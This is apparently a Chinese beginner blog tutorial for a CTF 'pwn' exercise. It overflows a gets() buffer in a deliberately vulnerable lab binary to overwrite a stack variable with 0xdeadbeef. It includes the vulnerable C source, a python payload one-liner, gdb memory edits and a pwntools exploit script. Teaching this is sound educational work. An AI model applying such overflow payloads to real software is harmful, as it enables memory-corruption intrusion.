• PWN入门(3)覆盖堆栈上的变量


    简介

    pwn"这个词的源起以及它被广泛地普遍使用的原因,源自于魔兽争霸某段讯息上设计师打字时拼错而造成的,原先的字词应该是"own"这个字,因为 ‘p’ 与 ‘o’ 在标准英文键盘上的位置是相邻的,PWN 也是一个黑客语法的俚语词,是指攻破设备或者系统。发音类似"砰”,对黑客而言,这就是成功实施黑客攻击的声音,而在ctf比赛里,pwn是对二进制漏洞的利用

    获取文件信息

    下载这个github库,进入02文件夹

    https://github.com/Crypto-Cat/CTF/tree/main/pwn/binary_exploitation_101
    
    • 1

    在这里插入图片描述

    使用checksec工具可以查看程序更详细的信息

    在这里插入图片描述
    这也和上一个文件相似,从上到下依次是

    32位程序
    部分RELRO,基本上所有程序都默认的有这个
    没有开启栈保护
    未启用nx,nx:数据执行
    没有pie,意思是程序的内存空间不会被随机化
    有读,写,和执行的段,意思是我们可以在程序里写入shellcode
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    覆盖堆栈上的变量

    现在我们执行程序看看,随意输入一些字符后,程序就退出了

    在这里插入图片描述

    然后我们在数入长一点的字符,可以看到,原来的12345678已经变成大写字母A的ascii码了

    在这里插入图片描述

    然后我们打开程序的源代码看看

    在这里插入图片描述

    #include 
    #include 
    #include 
    
    void do_input(){   
        int key = 0x12345678;   //定义了一个变量key,key的值为0x12345678
        char buffer[32];    //定义了一个变量,名为buffer,有32个字节的缓冲区
        printf("yes? ");    //输出字符串yes?
        fflush(stdout);   //清除缓冲区
        gets(buffer);   //获取我们输入的字符,并存入到buffer变量里
        if(key == 0xdeadbeef){    //如果key = 0xdeadbeef
            printf("good job!!\n");
            printf("%04x\n", key);
            fflush(stdout);    //成功破解程序
        }
        else{   //否则失败
            printf("%04x\n", key);
            printf("...\n");
            fflush(stdout);
        }
    }
    
    int main(int argc, char* argv[]){
        do_input();
        return 0;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26

    这里我们分析了源码,就没必要进行静态分析了

    通过分析源代码,我们知道了缓冲区的字节为32个,意思是我们只需要输入32个字符就能填满此程序的缓冲区,多余的字符则会覆盖key原本的值

    我们输入32个字符看看,然后再输入一些不同的值

    可以看到,key的原本的值被覆盖成b的ascii码了

    在这里插入图片描述

    从上面分析的源代码可以知道,key的值必须等于十六进制的0xdeadbeef才能输出正确的字符,这种十六进制无法用键盘输入,需要用到python

    在这里还有一个知识点是在x86架构里,读取地址是由低到高的,十六进制0xdeadbeef就要从最后一个开始写

    python2 -c "print ('A'*32+'\xef\xbe\xad\xde')"
    
    • 1

    在这里插入图片描述

    用linux管道符连接程序,可以看到,我们覆盖了key原本的值后成功的破解了程序

    在这里插入图片描述

    动态调试

    我们用gdb对程序进行动态调试

    gdb overwrite
    
    • 1

    然后查看程序里调用的函数

    info functions
    
    • 1

    在这里插入图片描述
    然后查看主函数do_input的汇编代码

    disassemble do_input
    
    • 1

    在这里插入图片描述

    在这里,key的值和我们输入的值做了对比

    在这里插入图片描述

    我们在这里下一个断点

    b *0x080491e0
    
    • 1

    然后运行程序,随意输入一些值
    在这里插入图片描述

    之后程序会自动运行到断点处停下

    在这里插入图片描述

    这里将ebp寄存器里的值减去了0xc转换成10进制就是12和0xdeadbeef做了对比,我们可以看一下这个地址的值

    x $ebp - 0xc
    
    • 1

    现在还是原来的值0x12345678

    在这里插入图片描述

    我们可以直接修改这个地址的值

    set *0xffffd38c = 0xdeadbeef
    
    • 1

    然后再次查看这个地址的值

    x $ebp - 0xc
    
    • 1

    在这里插入图片描述

    可以看到已经被修改成功了,现在我们输入n继续执行程序

    在这里插入图片描述

    成功破解程序

    pwntools脚本

    from pwn import *   //导入pwntools模块
    
    io = process('./overwrite')    //运行程序
    io.sendline(b'A' * 32 + p32(0xdeadbeef))   //程序运行后发送指定的字符串,格式为32位
    print(io.recvall().decode())   //接收输出并且解码
    
    • 1
    • 2
    • 3
    • 4
    • 5

    在这里插入图片描述

    总结

    有什么不会或者是错误的地方的可以私信我,看到必回

  • 相关阅读:
    ubuntu安装和启动redis命令步骤及其配置文件redis.conf
    推动制造业数字化转型是发展数字经济的重要环节
    策略分享|复现经典K线形态:出水芙蓉
    【Linux】/proc/meminfo获取的参数信息分别是什么意思呐?
    【Linux】Linux操作系统
    Java项目(三)-- SSM开发社交网站(9)--后台图书管理功能
    花生壳配置TCP服务器
    Yolov5/Yolov7 引入 清华 ICCV 2023 最新开源移动端网络架构 RepViT | RepViTBlock即插即用,助力检测
    解决 “编译需要TBBConfig.cmake,但TBB 2020及older版本不生成.cmake文件”的问题
    新一代分布式实时流处理引擎Flink入门实战操作篇
  • 原文地址:https://blog.csdn.net/qq_45894840/article/details/126770702